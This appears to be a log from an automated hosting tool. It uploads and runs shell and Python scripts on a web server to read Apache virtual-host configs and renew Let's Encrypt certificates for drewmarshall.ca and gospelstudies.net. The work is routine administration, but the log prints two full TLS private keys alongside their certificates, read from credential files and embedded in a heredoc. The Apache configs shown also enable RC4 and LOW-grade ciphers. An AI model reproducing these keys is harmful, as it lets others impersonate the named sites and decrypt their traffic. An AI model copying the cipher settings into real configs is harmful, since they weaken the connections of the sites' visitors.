    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-26 15:27:14: 

chmod 755 /tmp/pkp595787; /tmp/pkp595787; rm /tmp/pkp595787

2026-02-26 15:27:14: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_www_ca.conf	1282

<VirtualHost *:80>
    ServerName	drewmarshall.ca
    ServerAlias	www.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_www
    <Directory /var/www/drewmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/www_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	drewmarshall.ca
    ServerAlias	www.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/2c3c17c005831b4a6e867c2d7a99a9f3.crt
    DocumentRoot	/var/www/drewmarshall_www
    <Directory /var/www/drewmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/www_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-02-26 15:27:14: 

PUT: /tmp/pkp521669

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/2c3c17c005831b4a6e867c2d7a99a9f3.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-26 15:27:14: 

chmod 755 /tmp/pkp521669; /tmp/pkp521669; rm /tmp/pkp521669

2026-02-26 15:27:14: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/2c3c17c005831b4a6e867c2d7a99a9f3.crt	5372
19:00:f8:97:da:2a:11:2c:9c:d1:5e:00:34:15:fc:28

-----BEGIN CERTIFICATE-----
MIIFDDCCA/SgAwIBAgISBjn9aYVfCJSlc1bcwTpbcW+2MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMjI2MTQyODQxWhcNMjYwNTI3MTQyODQwWjAaMRgwFgYDVQQD
Ew9kcmV3bWFyc2hhbGwuY2EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQDXivhKd6tpcamVsZ//pMruYDcfx4IkZ5azPfLfLxasf9i6W0GGCHA9aSkRSHz3
M2tbEsEdmEXiNmh1V/VF4sPWCcWl9AmMIr/LRPglia1eZ/QFuJ82TjapgRmnbf86
O/9N/eR7ORhS8H+4jBeSN8uMfeHmi7HnbrYvuQaYFLrudYzSf52yDdRAJ7NbgvNT
+w8DUQBHbm6sPRXtiuKhJYHgnWmyMgLmy3c7VK2uxGJQzNTpgab0a6BN1yCBsbd9
+B/pKY4F1561sPiTrmNemtIYmyf9howYzPafQ4iDI1OorKSUhmFj0MQSGuL9+qdj
EuBMjar62PH4GfCLY1NUkWjZAgMBAAGjggIxMIICLTAOBgNVHQ8BAf8EBAMCBaAw
EwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUlids
dHzqACRsUM1QIVJLG4HCeYgwHwYDVR0jBBgwFoAU56ufDywzoFPTXk94yLKEDjvW
kjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEzLmkubGVu
Y3Iub3JnLzAvBgNVHREEKDAmgg9kcmV3bWFyc2hhbGwuY2GCE3d3dy5kcmV3bWFy
c2hhbGwuY2EwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4Yd
aHR0cDovL3IxMy5jLmxlbmNyLm9yZy81NS5jcmwwggELBgorBgEEAdZ5AgQCBIH8
BIH5APcAdgBJnJtp3h187Pw23s2HZKa4W68Kh4AZ0VVS++nrKd34wwAAAZyaj6hU
AAAEAwBHMEUCIQDuej4W67eFBryp0p/mNnFutXnOJ56C9ogJm80Re1x/2AIgSYDz
fgCgXAlmwliYOGgsjzaWUHfQ+q1KPyD4DBQLbb4AfQClyXiSXVdGF4KHDdiJZgtc
VWSLfQBA8uwHaFHRiGkZ9wAAAZyaj6mdAAgAAAUAM4TeBwQDAEYwRAIgccmtF5jv
+M8CbHWJ/2Xn3jCLxfFYWLgv4uLhSYzpGq8CIEEot19H6VB+dlWNBxA9iMQV33SG
w3Gd/ktCq3x5NHr5MA0GCSqGSIb3DQEBCwUAA4IBAQAtD8fJxg2XRzEPDuR6u8jB
8hywUIkblXKHDVLj/DLG5m5wsp12OoZ/kTNVJfQ1JWvljG5tvYx8wvINzrD/0nnW
1fuDZCaGYJSedlumrYvxh1mJX+TwpPBQ6xm01/zEttvQkVvOc5+F5Q3dQedn+A97
zrTG4ubm7xteTTS3+wj0CfQnFBofXqV7nr1AQeFcGQmLnpuIIoaHxAjeQvlnQDJQ
aRxLwVlBtC96MvjqMK6HioNdU9DaIe/O1EmqT4Fh82HYlTxFH9z9Wrg+aA+WvC3Z
28OUB6wGpvi4cFRlG6qyuUCQAsKClFU0vE9aldqp6NUoTvFrixY0eVzJe9ZlBF5M
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDXivhKd6tpcamV
sZ//pMruYDcfx4IkZ5azPfLfLxasf9i6W0GGCHA9aSkRSHz3M2tbEsEdmEXiNmh1
V/VF4sPWCcWl9AmMIr/LRPglia1eZ/QFuJ82TjapgRmnbf86O/9N/eR7ORhS8H+4
jBeSN8uMfeHmi7HnbrYvuQaYFLrudYzSf52yDdRAJ7NbgvNT+w8DUQBHbm6sPRXt
iuKhJYHgnWmyMgLmy3c7VK2uxGJQzNTpgab0a6BN1yCBsbd9+B/pKY4F1561sPiT
rmNemtIYmyf9howYzPafQ4iDI1OorKSUhmFj0MQSGuL9+qdjEuBMjar62PH4GfCL
Y1NUkWjZAgMBAAECggEAMafIT4+GI8KVqPDExWY3gfcUe/PAXZantx9cZmI4vQCu
8y+2xqQHB37EgUDL2T81SkPlzWWZI+YY5n+e97yoFRUnPXYdBPW0baWz7SHsmMUm
CHNh6mbWXPJq8JF8rPPJezQ0gNbEbccOBXvwqjTEZddSRYSFNaXhvtjHVh3gerKZ
ZKVrw5BKYSngXn11B8sioLjYCRpGjUir0JwliVq1v1djEd7DDuZmoZ++F5qBV6gy
fLSPswIyQCcDlHxWap2k3rpbGtq08o9K75UkXo9dXGfdSeq/0BOruYWxSV6RYPSI
UYdU97mFMap9AkRnPC0iYS1zyJ5yLX4GSEGYEzoFoQKBgQD/WKvaGCzlXg/+vXek
LhdJ1y7rCsXe35g7c/mlw5t4Ev5PXQhtpCUroWT6VJpgG8O1puDbV14ze+0LjM+o
X3Fmjbptlj3M4ZzWbr0RpXH3MSW5aduvalJQZlzQJDOl6blz+odnS3Q/i7b0DXQC
+qqrUXC4JRxW6w2PKO0eVOOExQKBgQDYGDceXcCMYPPEWKE1FSJumRnDAHWzLUWT
nIfxhZoPVHgqSKbfDuAfcqBRZGUz2ewotNM/zXJB4brQOdO7pW0hHvLXxsHfcIJ0
+dbnHBWyP3BiX06XuZO2pjVzGuC1/pqXN7ESuynfL1ge4MRWD9K/krOaMDWfj/HD
c+T9vhedBQKBgQDIu6xdhyPELG3mlIu5RYKJSeBYZd+nlZ7XHhTjeyJ9AnFpcnlt
t9yAsB/xqxCw/SKdatLZm5UyY/m1WrzkYCOFu2UTQUjUB4iECgoYFTfCW6CMYeuR
usN68P2Fou/3PgXMZuaLDYYVboAk226X6PbCNwOlv4bHzYCbSlEdxx4VAQKBgCmV
B041li6tHVtD/slbJsQHe/iVJxDyfjf4YARuxAV9KJ5iWpIDp8cFZKok2oCOx63R
lfDqFLluuWcGKaMrIwPDk9FHstjPKptd1CemtNoW8QZM9q+lizITa6eZnXIH6zF8
CvvivhzvXFKcx8sTwmcQ0LSz4C2zIj+NFpxpLtwNAoGBAOqaV1wRJUXauhn8/ITo
yRxNIP6qWUkXTCtKB5wjGSGNiE+NZIy+xM6qZC1O+9gsKf3wiztHR+ySsg046yDO
zqYFcCsWeUlmqaopVtf0ZTDOtEGo9o2pbH+WLPAhg0wWYYNnqWRA2zMrtpW+tUF4
/nYa2k0JLFE2xc9Ah3HlUWux
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-02-28 06:00:03: Establishing a connection
2026-02-28 06:00:03: Establishing a connection
2026-02-28 06:00:03: 

PUT: /tmp/pkp284830

#!/bin/bash
if [ -d "/var/www/gospelstudies_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-02-28 06:00:11: 

chmod 755 /tmp/pkp284830; /tmp/pkp284830; rm /tmp/pkp284830

2026-02-28 06:00:11: 


1


2026-02-28 06:00:12: Establishing a connection
2026-02-28 06:00:13: 

PUT: /tmp/pkp731301

#!/bin/bash
mkdir -p "/var/www/gospelstudies_www/.well-known/acme-challenge/"
cd "/var/www/gospelstudies_www/.well-known/acme-challenge/"
cat > nZS4SB7jWxkc8nkK6EVy7hvacXUmu9l6QBbMRNRDmtE <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
nZS4SB7jWxkc8nkK6EVy7hvacXUmu9l6QBbMRNRDmtE.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 nZS4SB7jWxkc8nkK6EVy7hvacXUmu9l6QBbMRNRDmtE
cat > ULY30LX7KteI2_kYDSDwig3ITCYq-ZuAORbqjHRdOUo <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
ULY30LX7KteI2_kYDSDwig3ITCYq-ZuAORbqjHRdOUo.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 ULY30LX7KteI2_kYDSDwig3ITCYq-ZuAORbqjHRdOUo


2026-02-28 06:00:13: 

chmod 755 /tmp/pkp731301; /tmp/pkp731301; rm /tmp/pkp731301

2026-02-28 06:00:13: 




2026-02-28 06:00:22: Establishing a connection
2026-02-28 06:00:22: 

PUT: /tmp/pkp458142

#!/bin/bash
mkdir -p "/var/www/gospelstudies_www/.well-known/acme-challenge/"
cd "/var/www/gospelstudies_www/.well-known/acme-challenge/"
rm nZS4SB7jWxkc8nkK6EVy7hvacXUmu9l6QBbMRNRDmtE
rm ULY30LX7KteI2_kYDSDwig3ITCYq-ZuAORbqjHRdOUo


2026-02-28 06:00:22: 

chmod 755 /tmp/pkp458142; /tmp/pkp458142; rm /tmp/pkp458142

2026-02-28 06:00:22: 




2026-02-28 06:00:22: Establishing a connection
2026-02-28 06:00:22: 

PUT: /tmp/pkp904048

#!/bin/bash
temp_file=$(mktemp)
TARGET=9c0bc7e77c379755b26b0bae03e4a9f3.crt

cat > $temp_file <<'endmsg'
d7:d8:e9:fa:f8:98:51:31:98:4d:d8:ad:72:1c:f3:b3

-----BEGIN CERTIFICATE-----
MIIFEjCCA/qgAwIBAgISBtmMEMhUS/1X2T51X04GdL2WMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMjI4MDUwMTUwWhcNMjYwNTI5MDUwMTQ5WjAcMRowGAYDVQQD
ExFnb3NwZWxzdHVkaWVzLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAL+GfKqFk9RTPG7goBeA3WLIKc+JSC/8h8IVmAMp9YM7ij4RBuPmCRepnq6T
gvWDZyF9LJucmBWPECxE35phwiFt37VAzIj3AfAPMWJCHl7oEied8MilnkQE63FN
UU3eNgXH5TyAM0jCmoH6f5Y2v4UAKAmEAUGC9z181iM1P8dRJm+nBn+5EZQPqAtG
oQ8S7LGaVZpNlE8RHm2CFZBMeFNFemIbjU5XfduMVSUT5qj+zTHDvVd8hcIUssB8
wdiRdB04q+mutJKwrJv/dY45UXsS2pQ8zRKzZ8+E9F+R5EiqMCtFG/a0ZAJcwPYn
GQGBPFCO+gtEPJ4Be7OvwYOWFx8CAwEAAaOCAjUwggIxMA4GA1UdDwEB/wQEAwIF
oDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBSw
fzSPXVD6fMhGG6NOI/sY9w2bzDAfBgNVHSMEGDAWgBTnq58PLDOgU9NeT3jIsoQO
O9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTMuaS5s
ZW5jci5vcmcvMDMGA1UdEQQsMCqCEWdvc3BlbHN0dWRpZXMubmV0ghV3d3cuZ29z
cGVsc3R1ZGllcy5uZXQwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAj
oCGgH4YdaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8yMy5jcmwwggELBgorBgEEAdZ5
AgQCBIH8BIH5APcAdgAOV5S8866pPjMbLJkHs/eQ35vCPXEyJd0hqSWsYcVOIQAA
AZyi1WjBAAAEAwBHMEUCIEmt3d9WnHZp/y1EXT4huvTo8wEQWYNP9+sCdJEvghLj
AiEAuIzk4KKC4NHZhv3E91rhJpMp7XlEYsrc+0GJVGF1bqAAfQDjI43yjaKI4Krg
rPD6kMmF8La/9dKlJ7AB/BxEWMS26AAAAZyi1WsUAAgAAAUANAJMzgQDAEYwRAIg
M4azLOriuzZ3ea5a4LsRdF8/JrSH1AS9ly1T86ybT9wCIE/4u0DXyYFYKjoFw6Bz
lRAYVhd3KfeZByztmWGWld4TMA0GCSqGSIb3DQEBCwUAA4IBAQBbO50Mi71cnWki
RMs+3FX2uXgSWnjX0bZxsur5ARJTRjqW+ZjVulhje8mOvxpGD2D9QWw0lYqS4LBf
C4Gv8oAYfvMVa9ZdX1BnA7tDWvYqy9I3DTBYKImXn85UhFqEFLouHm9b6Tbjl+sn
G1bDuDtGdbJKNlKHJn7b65uC9ZI1r9FS3seO5xxMlAz7ov7SrXb8ZrDV4IhAqHN2
BKp+/pdWuuSEjK1fICSb/UKJgZlW1mFr1HonyK2zPKsn4tnkDLnQd7g3H4S1j1U4
Qio5q2gLjp/8BcXf85lsW5yyUwGGKPuxv+CYfiEnkeBb9XV3RrgVROSzd7o934LH
+JvBFt2Z
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC/hnyqhZPUUzxu
4KAXgN1iyCnPiUgv/IfCFZgDKfWDO4o+EQbj5gkXqZ6uk4L1g2chfSybnJgVjxAs
RN+aYcIhbd+1QMyI9wHwDzFiQh5e6BInnfDIpZ5EBOtxTVFN3jYFx+U8gDNIwpqB
+n+WNr+FACgJhAFBgvc9fNYjNT/HUSZvpwZ/uRGUD6gLRqEPEuyxmlWaTZRPER5t
ghWQTHhTRXpiG41OV33bjFUlE+ao/s0xw71XfIXCFLLAfMHYkXQdOKvprrSSsKyb
/3WOOVF7EtqUPM0Ss2fPhPRfkeRIqjArRRv2tGQCXMD2JxkBgTxQjvoLRDyeAXuz
r8GDlhcfAgMBAAECggEAHfpc9Qvncap9oRVDuaoP/PA7qyJfzDMIxNZAbu5YYWwm
XUSpAW72KWABWG36Z5djwxgmrUy7eVRlQaieHzoB+t2J0IMOALo48WxPXIPg4RYO
EWllUOKrfRYQDDH/8eJALnN1bBzc6hybtpCQ++Ah5h16JtMkpy5qqJMrqWMiUn4Z
tuuugG8kzK1Ng6NmtdTqHokfcwOwdbxIcQbf9wi75azsJLQU9J+KH1P17VSHw4jM
rUwM15+P5D6eVtYTCPOCvqa722Hmyr5IvW1k/tocwthXZwj2MzH+HnPDJI8sS00N
AU0WGcl3aWpi+AghzEDlu4L6aacUJok59Y0lERFiIQKBgQDuRklX/FFnvyd5olCS
qXsVEMQOF4vSRrg5eAwEzp7tngVF6/rmo6LURBEPCwHINg9MVIIItcJqQQ4ZHJLy
u2IM8tMxQaglrTw5lB9ro7wsXFqQ3hoP5GkNslIfLwOASVjbqk2oSlzepAK98cj5
cBifQvaPMyDxm9nRUem63yzLWQKBgQDNxefnNfMv800MmI37AAfyS45OZS4uNPNE
wfgDIf26Q6FJ7twUgZDOjhiQ41sDcd+Teqlrd/C5O0keXt/UbdRrp1b97DY4VRTu
HyGDWKrf0WDV4XNRBFv893fFjyHPZY3qezlzZt/zgL8GTQMv+sGOt9QQfMLeDz9c
jJ7hGle/NwKBgQCMFaKVKfCqMAYDStxX/XAxaFP7fPhlPdKdZuiaAugJBzhObXhr
FJVsekAVOgFoNfA0jhKNEF8mnOyu8s+qCWSR/EkR0moLDJg1udHnNLIy2nEcbpef
9EeXF9mUH83NJFIrgyp44I9NDdvW1Em17KNtLq9KbWLW6SvcFm51wTPSsQKBgGmM
97y5Bsp04fPxGPtEc88MhK2f5wVaseJ2INLyj6UI5eX3uTpnj7D0YJOJm/jzY3zR
8a+nsXpCd+o1PllIESs7hjrv/Iv+0KKoo1ctl1EBpMtxPuay9sCW7AARwIUTEa3S
kZCpl3zfcJ05ycXFuZ2MnCHs7URcy+KcWy8ahSIXAoGBAKGlI1bYyztwRtL0Zywy
kOryLoeQVZQavl7sZoPCdg8pWOKMRG9aGKiOaqGpu97NwrWvAcrKdZbzOn/MINhe
jOp7dY1TsqmcaM0p8y+KbD0gKWXDg+yzGF7auMtqd8ILVYMQM+GlAOqqiAuqo5jG
Z4Ki7Uj9r19YLJvP1eng/i3+
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-02-28 06:00:22: 

chmod 755 /tmp/pkp904048; /tmp/pkp904048; rm /tmp/pkp904048

2026-02-28 06:00:22: 


dir=/etc/ssl/certs


2026-02-28 06:00:22: 

PUT: /tmp/pkp935877

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/gospelstudies_www_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-02-28 06:00:22: 

chmod 755 /tmp/pkp935877; /tmp/pkp935877; rm /tmp/pkp935877

2026-02-28 06:00:22: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/gospelstudies_www_net.conf 45

<VirtualHost *:80>
    ServerName	gospelstudies.net
    ServerAlias	www.gospelstudies.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/gospelstudies_www
    <Directory /var/www/gospelstudies_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/gospelstudies/www_access.log combined
    ErrorLog	/var/log/apache2/gospelstudies/www_error.log
    SetEnv pkp_uid	50
    SetEnv pkp_owner	studies
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	gospelstudies.net
    ServerAlias	www.gospelstudies.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/9c0bc7e77c379755b26b0bae03e4a9f3.crt
    DocumentRoot	/var/www/gospelstudies_www
    <Directory /var/www/gospelstudies_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/gospelstudies/www_secure_access.log combined
    ErrorLog	/var/log/apache2/gospelstudies/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-02-28 06:00:22: 

PUT: /tmp/pkp213656

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=gospelstudies_www_net.conf
TARGET=/etc/apache2/sites-enabled/gospelstudies_www_net.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	gospelstudies.net
    ServerAlias	www.gospelstudies.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/gospelstudies_www
    <Directory /var/www/gospelstudies_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/gospelstudies/www_access.log combined
    ErrorLog	/var/log/apache2/gospelstudies/www_error.log
    SetEnv pkp_uid	50
    SetEnv pkp_owner	studies
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
